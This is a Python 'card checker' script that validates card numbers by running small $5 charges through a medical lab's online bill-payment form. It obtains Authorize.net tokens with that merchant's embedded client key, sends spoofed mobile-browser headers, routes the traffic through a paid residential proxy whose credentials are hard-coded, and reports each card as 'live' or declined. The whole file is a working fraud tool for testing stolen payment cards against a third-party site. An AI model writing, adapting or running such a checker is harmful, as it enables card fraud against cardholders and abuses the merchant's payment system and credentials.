import requests
import json
import re

PROXIES = {
    'http': 'http://PP_YBEJYQHJMX-country-US-session-cZ5pwlUV2zdA:r5to5d9q@evo-pro.porterproxies.com:62345',
    'https': 'http://PP_YBEJYQHJMX-country-US-session-cZ5pwlUV2zdA:r5to5d9q@evo-pro.porterproxies.com:62345'
}

def check(card_string: str):
    try:
        if not isinstance(card_string, str) or not card_string.strip():
            return {"status": "declined", "message": "Input cannot be empty"}

        if '|' not in card_string:
            return {"status": "declined", "message": "Format: card|month|year|cvv"}
        
        parts = card_string.split('|')
        if len(parts) != 4:
            return {"status": "declined", "message": "Format: card|month|year|cvv"}
        
        card_number, month, year, cvv = [p.strip() for p in parts]
        
        if not all([card_number, month, year, cvv]):
            return {"status": "declined", "message": "All fields (card, month, year, cvv) are required"}

        if len(month) != 2 or len(year) != 4:
            return {"status": "declined", "message": "Invalid date format. Use MM|YYYY"}
        
        token_url = "https://api2.authorize.net/xml/v1/request.api"
        token_payload = {
            "securePaymentContainerRequest": {
                "merchantAuthentication": {
                    "name": "3c5Q9QdJW",
                    "clientKey": "2n7ph2Zb4HBkJkb8byLFm7stgbfd8k83mSPWLW23uF4g97rX5pRJNgbyAe2vAvQu"
                },
                "data": {
                    "type": "TOKEN",
                    "id": "1dc28b4f-013b-a59c-a071-dc4f10bed76e",
                    "token": {
                        "cardNumber": card_number,
                        "expirationDate": month + year[-2:],
                        "cardCode": cvv
                    }
                }
            }
        }

        token_headers = {
            'User-Agent': "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36",
            'Accept-Encoding': "gzip, deflate, br, zstd",
            'Content-Type': "application/json; charset=UTF-8",
            'sec-ch-ua-platform': "\"Android\"",
            'sec-ch-ua': "\"Chromium\";v=\"142\", \"Google Chrome\";v=\"142\", \"Not_A Brand\";v=\"99\"",
            'sec-ch-ua-mobile': "?1",
            'Origin': "https://avanticmedicallab.com",
            'Sec-Fetch-Site': "cross-site",
            'Sec-Fetch-Mode': "cors",
            'Sec-Fetch-Dest': "empty",
            'Referer': "https://avanticmedicallab.com/",
            'Accept-Language': "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7"
        }

        try:
            token_response = requests.post(token_url, data=json.dumps(token_payload), headers=token_headers, timeout=15)
            token_response.raise_for_status()
        except requests.exceptions.RequestException as e:
            return {"status": "declined", "message": f"Token request failed: {str(e)[:50]}"}

        try:
            token_data = json.loads(token_response.content.decode('utf-8-sig'))
            opaque_data_value = token_data.get('opaqueData', {}).get('dataValue')
        except json.JSONDecodeError:
            return {"status": "declined", "message": "Invalid token response"}

        if not opaque_data_value:
            return {"status": "declined", "message": "Token alınamadı"}

        payment_url = "https://avanticmedicallab.com/wp-admin/admin-ajax.php"
        payment_payload = {
            'wpforms[fields][1][first]': 'Test',
            'wpforms[fields][1][last]': 'User',
            'wpforms[fields][17]': '5.00',
            'wpforms[fields][2]': 'test@example.com',
            'wpforms[fields][3]': '(537) 623-8375',
            'wpforms[fields][14]': '',
            'wpforms[fields][4][address1]': '123 Test St',
            'wpforms[fields][4][city]': 'Test City',
            'wpforms[fields][4][state]': 'CO',
            'wpforms[fields][4][postal]': '46040',
            'wpforms[fields][6]': '$ 5.00',
            'wpforms[fields][11][]': 'By clicking on Pay Now button you have read and agreed to the policies set forth in both the Privacy Policy and the Terms and Conditions pages.',
            'wpforms[id]': '4449',
            'wpforms[author]': '1',
            'wpforms[post_id]': '3388',
            'wpforms[authorize_net][opaque_data][descriptor]': 'COMMON.ACCEPT.INAPP.PAYMENT',
            'wpforms[authorize_net][opaque_data][value]': opaque_data_value,
            'wpforms[authorize_net][card_data][expire]': month + '/' + year[-2:],
            'wpforms[token]': 'ab562db2ba9c83b471a6c99bad99ac37',
            'action': 'wpforms_submit',
            'page_url': 'https://avanticmedicallab.com/pay-bill-online/',
            'page_title': 'Pay Bill Online',
            'page_id': '3388'
        }

        payment_headers = {
            'User-Agent': "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36",
            'Accept': "application/json, text/javascript, */*; q=0.01",
            'sec-ch-ua-platform': "\"Android\"",
            'x-requested-with': "XMLHttpRequest",
            'sec-ch-ua': "\"Chromium\";v=\"142\", \"Google Chrome\";v=\"142\", \"Not_A Brand\";v=\"99\"",
            'sec-ch-ua-mobile': "?1",
            'origin': "https://avanticmedicallab.com",
            'sec-fetch-site': "same-origin",
            'sec-fetch-mode': "cors",
            'sec-fetch-dest': "empty",
            'referer': "https://avanticmedicallab.com/pay-bill-online/",
            'accept-language': "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
            'priority': "u=1, i"
        }

        try:
            payment_response = requests.post(payment_url, data=payment_payload, headers=payment_headers, timeout=15)
            response_text = payment_response.text
        except requests.exceptions.RequestException as e:
            return {"status": "declined", "message": f"Payment request failed: {str(e)[:50]}"}

        try:
            response_json = json.loads(response_text)
            if response_json.get('success') == True:
                return {"status": "live", "message": "APPROVED! - 5$"}
            else:
                error_msg = response_json.get('data', {}).get('errors', {}).get('general', {}).get('footer', '')
                if error_msg:
                    p_text = re.findall(r'<p>(.*?)</p>', error_msg)
                    if p_text:
                        clean_msg = p_text[0].replace('<br />', ' - ').replace(r'\/', '/')
                        return {"status": "declined", "message": f"❌ {clean_msg}"}
                return {"status": "declined", "message": "❌ DECLINED"}
        except json.JSONDecodeError:
            return {"status": "declined", "message": "❌ Invalid payment response"}
        
    except Exception as e:
        return {"status": "declined", "message": f"❌ Hata: {str(e)[:50]}"}

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python authnet.py 'CARD|MM|YYYY|CVV'")
        print("Example: python authnet.py '4111111111111111|12|2025|123'")
        sys.exit(1)
    
    card_data = sys.argv[1]
    result = check(card_data)
    
    print(f"Status: {result['status'].upper()}")
    print(f"Message: {result['message']}")